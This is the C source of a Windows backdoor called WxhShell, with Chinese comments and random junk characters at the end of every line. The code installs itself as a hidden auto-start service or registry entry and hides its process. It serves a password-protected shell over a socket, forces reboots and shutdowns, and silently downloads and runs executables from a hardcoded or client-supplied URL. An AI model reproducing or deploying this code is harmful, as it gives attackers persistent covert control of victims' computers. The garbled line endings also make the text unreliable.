  case 'd': { {U= Mfo?AH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )! Jo7SR  
    if(Boot(SHUTDOWN)) yM`J+tq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y(h86>z*w  
    else { p~J|l$%0rQ  
    closesocket(wsh); Po~{Mpe  
    ExitThread(0); ,9SBGxK5`  
    } 2_'{f1bVxz  
    break; ^_0zO$z,  
    } p2cwW/^V  
  // 获取shell :D|"hJ  
  case 's': { }1kT0*'L  
    CmdShell(wsh); Q`j!$r  
    closesocket(wsh); 0<d9al|J  
    ExitThread(0); e%Rg,dX  
    break; __dSEOGoe  
  } ?Imq4I~)  
  // 退出 !VBl/ aU@  
  case 'x': { X,DG2HT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7jPPN  
    CloseIt(wsh); f*)8bZDD  
    break; >r J9^rS  
    } l6] :Zcd0  
  // 离开 l.[S.@\=.  
  case 'q': { SM;UNIRVE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W@Et  
    closesocket(wsh); 0eP7efy  
    WSACleanup(); <]1Z  
    exit(1); T?B753I  
    break; 0' j/ 9vm  
        } -9W)|toWb"  
  } O~D>F*_^j  
  } YGFE(t;lPU  
2NMS '"8  
  // 提示信息 g-)izPX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hA 1_zKZ  
} `>'%!E9G  
  } : E`/z@I  
4}-{sS}MP  
  return; _-mSK/Z  
} <~s{&cL!%#  
*f<+yF{=A  
// shell模块句柄 .S4c<pMap  
int CmdShell(SOCKET sock) Y=0D[o8  
{ #2 Gy=GvV  
STARTUPINFO si; 7-S?\:J  
ZeroMemory(&si,sizeof(si)); b{4@ ~>i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %QYW0lE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2E7vuFH4c  
PROCESS_INFORMATION ProcessInfo; Ilf;Q(*$>>  
char cmdline[]="cmd"; w1>uD]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "]H_;:{f  
  return 0; %?  87#|  
} `_"F7Czn  
.l1uqCuB  
// 自身启动模式 re}_+sv U  
int StartFromService(void) AIN Fv;  
{ EGJ d:>k  
typedef struct f0!i<9<  
{ b&]_5 GGc  
  DWORD ExitStatus; r2!\Ts5v  
  DWORD PebBaseAddress; )c432).Z  
  DWORD AffinityMask; 9W5~I9%  
  DWORD BasePriority; uUmkk  
  ULONG UniqueProcessId; -]hk2Q0  
  ULONG InheritedFromUniqueProcessId; vT1StOx<V  
}   PROCESS_BASIC_INFORMATION; iG+hj:5  
k9Pwf"m|](  
PROCNTQSIP NtQueryInformationProcess; ZH<: g6  
kz=Ql|@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9$<1<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dC,a~`%O  
4zo^ b0v  
  HANDLE             hProcess; GQ -fEIi{  
  PROCESS_BASIC_INFORMATION pbi; ]]"O)tWHj  
P6G&3yPt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,/%@:Fh4  
  if(NULL == hInst ) return 0; zvEofK  
cJ^{iOQ+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FUTD/y]Lu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u([|^~H]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [T}Lq~  
*h([ai"1-  
  if (!NtQueryInformationProcess) return 0; 9Ub##5$[,  
|J:|56kVZq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &AUtUp kOo  
  if(!hProcess) return 0; M0) q  
&d,!^9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h;C/} s  
Z.QgL=  
  CloseHandle(hProcess); -/w#f&Y+]8  
:o"9x,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mZG)#gW[  
if(hProcess==NULL) return 0; qp##>c31X  
;URvZ! {/Z  
HMODULE hMod; ./l^Iz&0  
char procName[255]; A.YXK%A%  
unsigned long cbNeeded; E&z`BPd  
u2 a#qU5*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -|.Izgc  
5 *R{N ~>  
  CloseHandle(hProcess); 'zo] f  
4-r5C5o,W  
if(strstr(procName,"services")) return 1; // 以服务启动 =Ts5\1sc>  
o(L8 -F  
  return 0; // 注册表启动 NNgpDL*  
} * a ?qV  
&2P=74\=  
// 主模块 s;!_'1pi@  
int StartWxhshell(LPSTR lpCmdLine) OL%KAEnD  
{ q}xYme4  
  SOCKET wsl; w,)O*1't  
BOOL val=TRUE; rWMG6+Scb  
  int port=0; 1-=ZIHW  
  struct sockaddr_in door; DWwPid} "  
P Y&(ObC  
  if(wscfg.ws_autoins) Install(); Mil+> X0  
3QF/{$65!  
port=atoi(lpCmdLine); Ip_deP@  
]I^b&N  
if(port<=0) port=wscfg.ws_port; OaH1xZNOC`  
?:AD&Dn  
  WSADATA data; qG)M8xk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yQz6K6p  
;Pw\p^wz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A||,|He~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6"djX47j  
  door.sin_family = AF_INET; AY x*Ngn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P]^ BE;7T  
  door.sin_port = htons(port); [:BD9V  
\8<ZPqt9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H_n Ilku  
closesocket(wsl); CK=TD`$w  
return 1; _c$F?9:  
} 'c/S$_r  
k}&7!G@T  
  if(listen(wsl,2) == INVALID_SOCKET) { fMm.V=/+  
closesocket(wsl); =pk5'hBAi  
return 1; p6c&vEsNj  
} W/@-i|v  
  Wxhshell(wsl); Kt5k_9  
  WSACleanup(); , G2( l  
dTrz7ayH  
return 0; 5Y4#aq  
xf4CM,Z7(  
} =n ff;Xu  
UP .4#1I  
// 以NT服务方式启动 X#Sgf|$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0&$,?CL?  
{  MU>6s`6O  
DWORD   status = 0; E=# O|[=  
  DWORD   specificError = 0xfffffff; = 9!|%j  
k-!Jww  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zI.%b7wq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e.VQ!)>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B{tROuN<  
  serviceStatus.dwWin32ExitCode     = 0; f`K[oCfu  
  serviceStatus.dwServiceSpecificExitCode = 0; 5HC5   
  serviceStatus.dwCheckPoint       = 0; wLa8&E[  
  serviceStatus.dwWaitHint       = 0; $)#?4v<  
 /~1Ew  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ ?JN I8  
  if (hServiceStatusHandle==0) return; Dq[Z0"8  
8|) $;.  
status = GetLastError(); N?s`a;Q[=  
  if (status!=NO_ERROR) Whl^~$+f  
{ Wl0p-h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mJ>msI @  
    serviceStatus.dwCheckPoint       = 0; JUCp#[q  
    serviceStatus.dwWaitHint       = 0; ^xX1G _{  
    serviceStatus.dwWin32ExitCode     = status; N;` jz(r  
    serviceStatus.dwServiceSpecificExitCode = specificError; U ATF}x   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -P:o ^_)g  
    return; eA_]%7+`  
  } br,xwc  
mFrDV,V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BZOB\Ym  
  serviceStatus.dwCheckPoint       = 0; lx{ ' bzv  
  serviceStatus.dwWaitHint       = 0; 3|Y2BA d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E_ D0Nm%n  
} m*'hHt n  
-2B3 xIZJ  
// 处理NT服务事件,比如:启动、停止 25Uw\rKeO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ER,!`C]  
{ (Xl+Zi>\{  
switch(fdwControl) $1y8X K7r  
{ b5)a6qtb  
case SERVICE_CONTROL_STOP: 5p]V/<r  
  serviceStatus.dwWin32ExitCode = 0; RxE.t[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q.kDx_  
  serviceStatus.dwCheckPoint   = 0; f=A`{ 8^  
  serviceStatus.dwWaitHint     = 0;  r m  
  { 0uu)0:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VHm.uL_UW  
  } T STkMlCG  
  return; (L*<CV  
case SERVICE_CONTROL_PAUSE: j6WDh}#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Mzr[dI  
  break; 8ly6CP+^B  
case SERVICE_CONTROL_CONTINUE: @|:yK|6O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; muMd9\p  
  break; qVssw* GDB  
case SERVICE_CONTROL_INTERROGATE: 88KQ) NU  
  break; Vg(FF "  
}; 9qk J<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g(C/J9J  
} K5HzA1^  
y!c<P,Lt3f  
// 标准应用程序主函数 '#a;n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &$heW,  
{ [jR >.H'  
jqlfypU  
// 获取操作系统版本 u7S C_3R  
OsIsNt=GetOsVer(); Rn*@)5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z.Vf,<H  
pQi|PQq  
  // 从命令行安装 .I0M'L~!/L  
  if(strpbrk(lpCmdLine,"iI")) Install(); mu2|%$C;$  
2cjbb kq  
  // 下载执行文件 E9\u^"GVO  
if(wscfg.ws_downexe) { v7/k0D .  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ! u@JH`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZypK''&oc  
} \M;cF "e-S  
E/<n"'0ek  
if(!OsIsNt) { O^n\lik  
// 如果时win9x,隐藏进程并且设置为注册表启动 OX7a72z  
HideProc(); 67Ev$a_d"  
StartWxhshell(lpCmdLine); D?FmlDTr[  
} pVM1%n:#  
else *v$j n  
  if(StartFromService()) ?pWda<&  
  // 以服务方式启动 N/eus"O;  
  StartServiceCtrlDispatcher(DispatchTable); " {X0&  
else @&x'.2[nv  
  // 普通方式启动 `! xI!Y\  
  StartWxhshell(lpCmdLine); hka%!W5  
Wuk!\<T{  
return 0; $Wu|4]o>9  
} EE*|#  
;ojJXH~$}  
8)>4ZNXz  
;9<?~S  
=========================================== ,$ Cr9R&/  
<'48mip  
MDZPp;\)  
x*p'm[Tdtm  
N2 t`  
l.(|&U~  
" rk47 $36X  
.Fx3WryF  
#include <stdio.h> 2FY]o~@  
#include <string.h> u2IU/z8 ^  
#include <windows.h> {Iz"]Wh<f  
#include <winsock2.h> DyCkz"1S  
#include <winsvc.h> ktkS$  
#include <urlmon.h> T*g}^TEh  
$Wjx$fD  
#pragma comment (lib, "Ws2_32.lib") $rJgBN   
#pragma comment (lib, "urlmon.lib") k7& cc|y  
!DUOi4I  
#define MAX_USER   100 // 最大客户端连接数 3a&HW JBSx  
#define BUF_SOCK   200 // sock buffer 4aKppj  
#define KEY_BUFF   255 // 输入 buffer RXo6y(^  
\t%iUZ$  
#define REBOOT     0   // 重启 '#>Fe`[  
#define SHUTDOWN   1   // 关机 `.Zm}'  
lavy?tFer  
#define DEF_PORT   5000 // 监听端口 <rvM)EJv|  
hkRqtpYK  
#define REG_LEN     16   // 注册表键长度 OdO n wY  
#define SVC_LEN     80   // NT服务名长度 /([a%,DI  
do9~#F  
// 从dll定义API Dk&(QajL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~pHuh#>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h/2@4XKj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eFotV.T!#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  F&lH5  
@NL37C  
// wxhshell配置信息 1!yd(p=cL  
struct WSCFG { xLms|jS  
  int ws_port;         // 监听端口 Xpv<v[a  
  char ws_passstr[REG_LEN]; // 口令 4 9HP2E  
  int ws_autoins;       // 安装标记, 1=yes 0=no T`,G57-5  
  char ws_regname[REG_LEN]; // 注册表键名  vY"I  
  char ws_svcname[REG_LEN]; // 服务名 o2;Eti  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i'10qWz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KdD~;Ap$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {c~w Ms#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _~ 'MQ`P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H?FiZy*[Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s8 u`v1  
tvBLfqIr  
}; =*{7G*tS  
r;{ggwY&J  
// default Wxhshell configuration $Ld-lQsL  
struct WSCFG wscfg={DEF_PORT, 2 6 >9$S  
    "xuhuanlingzhe", &gr  T@  
    1, p8"C`bCf  
    "Wxhshell", cm!|A?-<  
    "Wxhshell", .l|29{J  
            "WxhShell Service", stMxlG"d  
    "Wrsky Windows CmdShell Service", 7IQa Xcl  
    "Please Input Your Password: ", 'T(Q  
  1, |onLJY7)  
  "http://www.wrsky.com/wxhshell.exe", s Ytn'&$\  
  "Wxhshell.exe" 4>2\{0r  
    }; O9m sPb:  
zo("v*d*q  
// 消息定义模块 I[b{*g2Zw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7HQL^Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5!pNo*QK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bSn={O"M  
char *msg_ws_ext="\n\rExit."; rCsC}2O  
char *msg_ws_end="\n\rQuit."; }@/Ox  
char *msg_ws_boot="\n\rReboot..."; =M9R~J!  
char *msg_ws_poff="\n\rShutdown..."; 0l/7JH_@V  
char *msg_ws_down="\n\rSave to "; ? * r  
.tHjGx  
char *msg_ws_err="\n\rErr!"; `z.sWF|f!O  
char *msg_ws_ok="\n\rOK!"; >DbG )0|  
2^"! p;WQ  
char ExeFile[MAX_PATH]; kw} E0uY  
int nUser = 0; j+S&5C/{  
HANDLE handles[MAX_USER];  *M$mAy<  
int OsIsNt; ^hr # 1  
Ui-Y `  
SERVICE_STATUS       serviceStatus; 4=`1C-v?q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X$G:3uoN  
r\}?HS06  
// 函数声明 etUfdZ  
int Install(void); T XT<6(  
int Uninstall(void); ic3Szd^4  
int DownloadFile(char *sURL, SOCKET wsh); 2}bXX'Y  
int Boot(int flag); w`r %_o-I  
void HideProc(void); g/WDAO?d  
int GetOsVer(void); ZoYllk   
int Wxhshell(SOCKET wsl); w~+\Mfz  
void TalkWithClient(void *cs); Jr%F#/  
int CmdShell(SOCKET sock); 8N$Xq\Da+>  
int StartFromService(void); d>T8V(Bb  
int StartWxhshell(LPSTR lpCmdLine); /;:4$2R(;  
J_j4Zb% K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >e(@!\ x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7]Hf3]e>/  
LNrM`3%2-  
// 数据结构和表定义 |`kk mq  
SERVICE_TABLE_ENTRY DispatchTable[] = ;8f)p9vE  
{ ("{vbs$;  
{wscfg.ws_svcname, NTServiceMain}, XD?]+  
{NULL, NULL} s<Nw)Ynw  
}; xls US'Eo  
nr8#;D  
// 自我安装 ,aq>9\ pi  
int Install(void) +fKV/tSWi  
{ ;8 *"c  
  char svExeFile[MAX_PATH]; ;CoD5F!  
  HKEY key; T00sYoK  
  strcpy(svExeFile,ExeFile); ~IPATG  
U%Hcc k'  
// 如果是win9x系统,修改注册表设为自启动 XbeT x  
if(!OsIsNt) { m6H+4@Z-;(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @MoCEtt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :cIPX%S  
  RegCloseKey(key); |}:q@]dC#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k^cnNx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O'xp"e,  
  RegCloseKey(key); Os]. IL$  
  return 0; 44w "U%+  
    } ;% i-:<ac  
  } 0LP0q9S:9  
} EP<{3f y  
else { ?B)e8i<[f  
)7-mALyW  
// 如果是NT以上系统,安装为系统服务 WP Gp(X w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E7.{SGH}  
if (schSCManager!=0) ftRdK>a D  
{ =Lb(N61  
  SC_HANDLE schService = CreateService /UY'E<wBx  
  ( BT^=p  
  schSCManager, V\Y, 4&bI  
  wscfg.ws_svcname, UF\k0oLz  
  wscfg.ws_svcdisp, EM1HwapD  
  SERVICE_ALL_ACCESS, D8xE"6T>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fo5UG2E&  
  SERVICE_AUTO_START, ACFEM9 [=  
  SERVICE_ERROR_NORMAL, F9(jx#J~t  
  svExeFile, (KfQ'B+  
  NULL, cRCji^,KJ  
  NULL, "(~fl<;  
  NULL, OwgPgrV  
  NULL, !\$4A,  
  NULL EFu$>Z4  
  ); k Q_Vj7  
  if (schService!=0) 9x(t"VPuS  
  { &|Rww\oJ  
  CloseServiceHandle(schService); 7fd,I%v  
  CloseServiceHandle(schSCManager); 9"L!A,&'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { i4`- w  
  strcat(svExeFile,wscfg.ws_svcname); ,6f6r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Se\iM s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q&@<?K9  
  RegCloseKey(key); Y{@foIZ  
  return 0; pe).  
    } _j{)%%?r  
  } 1Mx2%  
  CloseServiceHandle(schSCManager); . S;o#Zw*R  
} t:,lz8Y~  
} C.H(aX)7  
*+2BZ ZwT  
return 1; Z^J)]UL/  
} d7x6r3J$  
[iyhrc:@  
// 自我卸载 xk,1 D  
int Uninstall(void) RUut7[r  
{ p_fsEY  
  HKEY key; LJ9#!r@H  
=+<DNW@%  
if(!OsIsNt) { Wh"xt:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~H[_=  
  RegDeleteValue(key,wscfg.ws_regname); 9I#a{%A:  
  RegCloseKey(key); %+#l{\z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O`PQ4Q*F  
  RegDeleteValue(key,wscfg.ws_regname); #"H<k(-Cz  
  RegCloseKey(key); Pp4Q)2X  
  return 0; 8Bxb~*  
  } 41rS0QAM  
} &`-e; Xt  
} yV6U<AP$3  
else { })q8{Qj!  
/nt%VLms %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !HW?/-\,O  
if (schSCManager!=0) O-~cj7 0\  
{ MRK3Cey}%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OKj\>3  
  if (schService!=0) *Ct ^jU7  
  { P`_Q-vu  
  if(DeleteService(schService)!=0) { a +9_sUq  
  CloseServiceHandle(schService); \!0~$?_)P  
  CloseServiceHandle(schSCManager); 3cNr~`7  
  return 0; o_ixdnc  
  } +4 D#Ht 7  
  CloseServiceHandle(schService); \TYH7wXDP  
  } 9/R=_y-  
  CloseServiceHandle(schSCManager); 4s <Z KU  
} Qi9M4Yv  
} jq|fI P  
JxRn)D  
return 1; sd*NY  
} jT-tsQ .,  
Go~3L8 '  
// 从指定url下载文件 ' (3|hh)Tl  
int DownloadFile(char *sURL, SOCKET wsh) ;jlI>;C;V  
{ 2e({%P@2?  
  HRESULT hr; aLQ]2m  
char seps[]= "/"; sE^= ]N  
char *token; 3YEw7GIO-  
char *file; y99|V39'  
char myURL[MAX_PATH]; Xcg+ SOB  
char myFILE[MAX_PATH]; Xupwh5G2  
%kQ[z d^  
strcpy(myURL,sURL); Dk g-y9  
  token=strtok(myURL,seps); CzmB76zy.  
  while(token!=NULL) Z22#lF\N  
  { ;`a~9uG  
    file=token; iTCY $)J  
  token=strtok(NULL,seps); P Qi=  
  } o'YK\L!p  
quq!Jswn  
GetCurrentDirectory(MAX_PATH,myFILE); 8ROZ]Xh,x  
strcat(myFILE, "\\"); th{Ib@o  
strcat(myFILE, file); r#6djs1  
  send(wsh,myFILE,strlen(myFILE),0); 4X>=UO``L  
send(wsh,"...",3,0); LcHe5Bv%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n3s  
  if(hr==S_OK) U {9yfy  
return 0; 88DMD"$B  
else )hfI,9I~  
return 1; B+ZhQW  
buMST&  
} rp!{QG  
|W|RX3D  
// 系统电源模块 D}nRH@<`  
int Boot(int flag) 9t&m\J >8;  
{ [R/'hH5  
  HANDLE hToken; !XF:.|  
  TOKEN_PRIVILEGES tkp; TM,Fab &  
^4a|gc  
  if(OsIsNt) { ,T+.xB;Q@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [|L~" BB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v)v`896S`  
    tkp.PrivilegeCount = 1; j[:Iu#VR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vUJQ<D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [-3x*?Ju  
if(flag==REBOOT) { }#`-mRaU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g+KuK`\N%  
  return 0; WiF6*]oI  
} V_=7q=9mV  
else { p8E6_%Rw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '77Gg  
  return 0; \U HI%1^  
} xG,L*3c{o  
  } OH`|aqN  
  else { I@I-QiI  
if(flag==REBOOT) { -1]8f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U#(#U0s*-  
  return 0; %I%OHs  
} VP"C|j^I  
else { ;:w0%>X^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *<ww~^a  
  return 0; 4@Xd(F_d  
} "pQ) 5/e  
} F{ sPQf'  
dpB\=  
return 1; b3+F~G-I"  
} A04E <nr  
PO]c&}/  
// win9x进程隐藏模块 %d#j%=  
void HideProc(void) <;zcz[~  
{ dZ,~yV  
Z!oq2,ia  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); - D^v:aC  
  if ( hKernel != NULL ) %j;mDR9 5  
  { K,f- w2!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VNxhv!w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h`V#)Q  
    FreeLibrary(hKernel); i0{sE  
  } b|u0a6  
7DW HADr  
return; 42.y.LtZ  
} t ;bU#THM  
 <4 D.H  
// 获取操作系统版本 .2QZe8"  
int GetOsVer(void) ) t$o0!  
{ ge$p/  
  OSVERSIONINFO winfo; lQf38u||  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~_ |ZUb  
  GetVersionEx(&winfo); ^7V{nT@H3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !2]'S=Y  
  return 1; Ydh+iLjhx  
  else DM3 %+ xY  
  return 0; 7H_*1_%ZQ  
} *T0!q#R  
yMKVF`D*  
// 客户端句柄模块 t@3y9U$  
int Wxhshell(SOCKET wsl) OEXa^M4x   
{ E)Cdw%}^  
  SOCKET wsh; [D<"qT^*z6  
  struct sockaddr_in client; ?9:~d#p  
  DWORD myID; 2D ' $  
bt 0Q6v5  
  while(nUser<MAX_USER) ,];QzENw  
{ :Wd@Qy?;  
  int nSize=sizeof(client); 5HW'nhE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g6 6SCr}  
  if(wsh==INVALID_SOCKET) return 1; U$=#yg2 :  
P] qL&_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \CZD.2p#&  
if(handles[nUser]==0) Yjh02wo  
  closesocket(wsh); 'qiDh[ATa  
else ,O 1/|Y  
  nUser++; b' fcWp0  
  } 2#xz,RM.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pij%u<  
.5GGZfJ]  
  return 0; |,WP)  
} ,*d<hBGbh  
{*AYhZ  
// 关闭 socket j5bp)U  
void CloseIt(SOCKET wsh) "|<U`3y6  
{ {# Vp`ji  
closesocket(wsh); G^qt@,n$;  
nUser--; 5PPaR|c3  
ExitThread(0); e&ci\x%  
} ^#)]ICV  
I|vfxf  
// 客户端请求句柄 N7mYE  
void TalkWithClient(void *cs) hmr2(f%U  
{ d3tr9B  
@$!rgLyL[  
  SOCKET wsh=(SOCKET)cs; sJ5Ws%q  
  char pwd[SVC_LEN]; bDT@E,cSi  
  char cmd[KEY_BUFF]; y.Y;<UGu  
char chr[1]; 3&KRG}5  
int i,j; wlw`%z-B2  
]@hN&W(+x  
  while (nUser < MAX_USER) { aP/Ff%5T  
rqz`F\A;%  
if(wscfg.ws_passstr) { n1;zml:7_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O7# 8g$ZIv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,V.Bzf%=O  
  //ZeroMemory(pwd,KEY_BUFF); =RjseTS  
      i=0; K%WG[p\Eu  
  while(i<SVC_LEN) { 7L$\S[E  
\,-e>  
  // 设置超时 v&8s>~i`K  
  fd_set FdRead; #(G"ya  
  struct timeval TimeOut; QpiA~4  
  FD_ZERO(&FdRead); Oe"nNvu/  
  FD_SET(wsh,&FdRead); (svKq(X  
  TimeOut.tv_sec=8; H_d^Xk QZ  
  TimeOut.tv_usec=0; Rh#QPYPq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M992XXd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )h`8</#m{  
D2 X~tl5<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^~JF7u  
  pwd=chr[0]; S$NJmXhx5  
  if(chr[0]==0xd || chr[0]==0xa) { {YF(6wVl  
  pwd=0; J *;= f8  
  break; OZ6:u^OS]  
  } xt1Ug~5  
  i++; .njk^,N  
    } ~UQX t r  
LW!>_~g-  
  // 如果是非法用户,关闭 socket )8*}-z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \"1%>O*  
} L-1#n  
XS=f>e1<W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }0AoV&75  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l-?#oy  
DAf0bh"  
while(1) { %Z+FX,AK  
H_FT%`iM  
  ZeroMemory(cmd,KEY_BUFF); ob]j1gYb  
JiFB<Q\  
      // 自动支持客户端 telnet标准   m"GgaH3,  
  j=0; =hi{J M  
  while(j<KEY_BUFF) { qijQRxS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Rdw]O  
  cmd[j]=chr[0]; V)A7q9Bum  
  if(chr[0]==0xa || chr[0]==0xd) { r-$VPW  
  cmd[j]=0; /_1q)`NYy  
  break; *> E_lWW.  
  } W:JR\KKU  
  j++; o'K= X E  
    } N^4CA@'{  
xiOAj"}~  
  // 下载文件 sQBKzvFO3  
  if(strstr(cmd,"http://")) { Q PrP3DK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q#zU0K*^  
  if(DownloadFile(cmd,wsh)) ^X ~S}MX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "P yG;N!W  
  else  wWQt  
